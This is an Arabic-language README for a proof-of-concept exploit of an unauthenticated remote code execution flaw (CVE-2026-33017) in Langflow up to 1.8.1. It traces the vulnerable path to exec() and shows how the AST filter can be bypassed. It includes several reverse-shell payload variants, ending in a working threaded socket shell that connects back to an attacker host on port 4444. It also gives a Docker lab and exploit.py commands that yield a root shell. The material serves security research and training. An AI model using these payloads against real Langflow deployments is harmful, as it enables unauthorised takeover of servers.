
استغلال PoC لثغرة RCE غير مصادَق عليها في Langflow <=1.8.1، بما في ذلك تحليل السبب الجذري على مستوى الكود المصدري، وحمولة reverse shell مدركة لـ AST، ومختبر Docker، وdiff التصحيح، وقواعد الكشف.
إخلاء مسؤولية
تم إنشاء هذا المستودع لأغراض البحث الأمني والتعليم.
يُرجى استخدامه فقط في بيئات معزولة للتدريب العملي.
استخدامه ضد أنظمة غير مصرح بها يُعد انتهاكًا لقانون شبكات المعلومات والاتصالات ويعرّض مرتكبه لعقوبات جنائية.
| البند | المحتوى |
|---|---|
| CVE ID | CVE-2026-33017 |
| البرنامج المصاب | Langflow (أداة بناء سير عمل الذكاء الاصطناعي) |
| الإصدارات المتأثرة | Langflow ≤ 1.8.1 |
| إصدار التصحيح | Langflow ≥ 1.9.0 |
| نوع الثغرة | تنفيذ الأوامر عن بُعد (RCE) بدون مصادقة |
| CWE | CWE-306 (غياب المصادقة لوظيفة حرجة) |
| CVSS | 9.3 (حرجة) |
| CISA KEV | مُدرجة |
POST /api/v1/build_public_tmp/{flow_id}/flow
نقطة نهاية مخصصة لبناء التدفقات العامة (Public flows)، وقد صُممت لتكون قابلة للوصول بدون مصادقة.
مسار التنفيذ الذي تم التحقق منه بتتبّع الكود المصدري مباشرةً:
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
│
▼
langflow/api/v1/chat.py — build_public_tmp()
data = request.body["data"] ← استلام مدخلات العميل كما هي (الثغرة)
│
▼
langflow/api/build.py — start_flow_build()
data = FlowDataRequest ← تمرير بيانات العميل كما هي
│
▼
lfx/custom/eval.py — eval_custom_component_code()
class_name = validate.extract_class_name(code)
return validate.create_class(code, class_name)
│
▼
lfx/custom/validate.py — create_class()
module = ast.parse(code)
exec_globals = prepare_global_scope(module)
│
▼
lfx/custom/validate.py — prepare_global_scope()
exec(compiled_code, exec_globals) ← تنفيذ كود عشوائي
لا تقوم دالة prepare_global_scope() بتنفيذ جميع تركيبات الكود المرسَل.
بعد تحليل AST، يتم انتقاء أنواع عقد معينة فقط وتنفيذها:
# lfx/custom/validate.py — داخل prepare_global_scope()
for node in module.body:
if isinstance(node, ast.Import):
imports.append(node)
elif isinstance(node, ast.ImportFrom):
import_froms.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
# ↑ عُقد Expr غير مشمولة في أي فئة → لا يتم تنفيذها
exec(compiled_code, exec_globals) # تنفيذ definitions فقط
أنواع عقد AST القابلة للتنفيذ:
| نوع عقدة AST | مثال | قابلية التنفيذ |
|---|---|---|
FunctionDef | def _shell(): ... | ✅ ينفَّذ |
ClassDef | class ExploitComponent(Component) | ✅ ينفَّذ |
Assign | _r = os.system("id") | ✅ ينفَّذ |
AnnAssign | _r: int = os.system("id") | ✅ ينفَّذ |
Expr | os.system("id") (استدعاء منفرد) | ❌ يُتجاهَل |
الخلاصة: يجب كتابة الحمولة بصيغة
Assign(_r = ...) حتى يتم تنفيذها.
الاستدعاءات البسيطة للدوال (os.system("id")) تُصنَّف كعُقدExprوتُحذف بواسطة الفلتر.
خلال التدريب العملي تمت تجربة عدة طرق للحمولات، وتم تحديد سبب فشل كل منها على مستوى الكود المصدري.
subprocess.Popen + wait() (فشلت)_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait() # ← حظر (Blocking) هنا
سبب الفشل: يراقب عامل (Worker) Langflow قيمة إرجاع المكوّن، وعند انتهاء المهلة يقوم بإغلاق المقبس (socket) قسريًا. وبذلك يصبح حظر _proc.wait() بلا معنى.
os.execve() (فشلت)os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())
سبب الفشل: وفقًا لقواعد POSIX، عند استدعاء execve() في عملية متعددة الخيوط، يتم إنهاء جميع الخيوط ما عدا خيط الاستدعاء → انهيار كامل لعامل uvicorn → HTTP 500.
os.fork() + execve() (فشلت)_pid = os.fork()
if _pid == 0:
os.execve("/bin/bash", ...)
سبب الفشل: يكتشف uvicorn أن العملية الفرعية أُنهيت بشكل غير طبيعي فيعيد تشغيل العامل → HTTP 500.
threading.Thread(daemon=True) (فشلت)threading.Thread(target=_shell, daemon=True).start()
سبب الفشل: يتم إتلاف خيوط daemon=True مع انتهاء الخيط الرئيسي (عامل Langflow). ويموت الخيط قبل اكتمال محاولة connect().
threading.Thread(daemon=False) + Assign# FunctionDef → ينفَّذ
def _shell():
_s = socket.socket()
_s.connect(("attacker_ip", 4444))
_p = subprocess.Popen(["/bin/bash", "-i"],
stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
_p.wait()
_s.close()
# Assign → ينفَّذ (الاستدعاء المنفرد عبر Expr يُستبعد من الفلتر، لذا يجب الإسناد إلى متغير)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()
سبب اختيار daemon=False:
daemon=True → يُتلف مع إنهاء خيط عامل Langflowdaemon=False → دورة حياة مستقلة عن العامل → إمكانية الحفاظ على اتصال المقبسCVE-2026-33017/
├── README.md
├── Dockerfile # بيئة Langflow 1.8.1 المصابة
├── Dockerfile.attacker # حاوية المهاجم (تشمل curl, nc, net-tools)
├── docker-compose.yml # الخادم المصاب + حاوية المهاجم
├── entrypoint.sh # تشغيل Langflow والإنشاء التلقائي للتدفق العام
├── exploit.py # PoC الشل العكسي
└── poc.py # التحقق من RCE الأعمى / وجود الثغرة
# 1. بناء الحاويات وتشغيلها
docker compose up --build
# 2. التحقق من الوصول إلى واجهة Langflow
# http://localhost:7860
# admin / admin123!
# 3. معرفة عناوين الحاويات
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'
┌──────────────────────────────────────────────────┐
│ شبكة Docker الجسرية: poc-net │
│ │
│ langflow-vuln-lab 172.19.0.2:7860 (الضحية) │
│ langflow-attacker 172.19.0.3 (المهاجم) │
└──────────────────────────────────────────────────┘
يتم التنفيذ داخل حاوية المهاجم:
docker exec -it langflow-attacker bash
# الوضع التلقائي (إصدار رمز + إنشاء تدفق عام + مستمع مدمج)
python3 exploit.py \
--url http://172.19.0.2:7860 \
--lhost 172.19.0.3 \
--lport 4444
الخيارات:
| الخيار | الوصف | القيمة الافتراضية |
|---|---|---|
--url | عنوان URL الخاص بـ Langflow المستهدف | إلزامي |
--lhost | عنوان IP لاستقبال اتصال الشل العكسي | إلزامي |
--lport | منفذ استقبال اتصال الشل العكسي | إلزامي |
--flow-id | UUID التدفق العام (يُنشأ تلقائيًا عند الحذف) | تلقائي |
--user | معرف المسؤول | admin |
--password | كلمة مرور المسؤول | admin123! |
--no-listen | تعطيل المستمع المدمج (عند استخدام nc خارجي) | False |
--timeout | مهلة HTTP (بالثواني) | 30 |
المخرجات المتوقعة:
============================================================
CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] جارٍ تسجيل الدخول... (admin)
[*] تم إصدار الرمز بنجاح
[*] جارٍ إنشاء التدفق العام...
[*] Flow ID : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] بدء المستمع → 0.0.0.0:4444
[*] نقطة النهاية : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] الاستدعاء : 172.19.0.3:4444
[*] جارٍ إرسال الحمولة...
[*] استجابة HTTP : 200
[+] تم الاتصال بالشل ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)
يُستخدم للتحقق من وجود الثغرة فقط:
python3 poc.py \
--url http://172.19.0.2:7860 \
--cmd "id"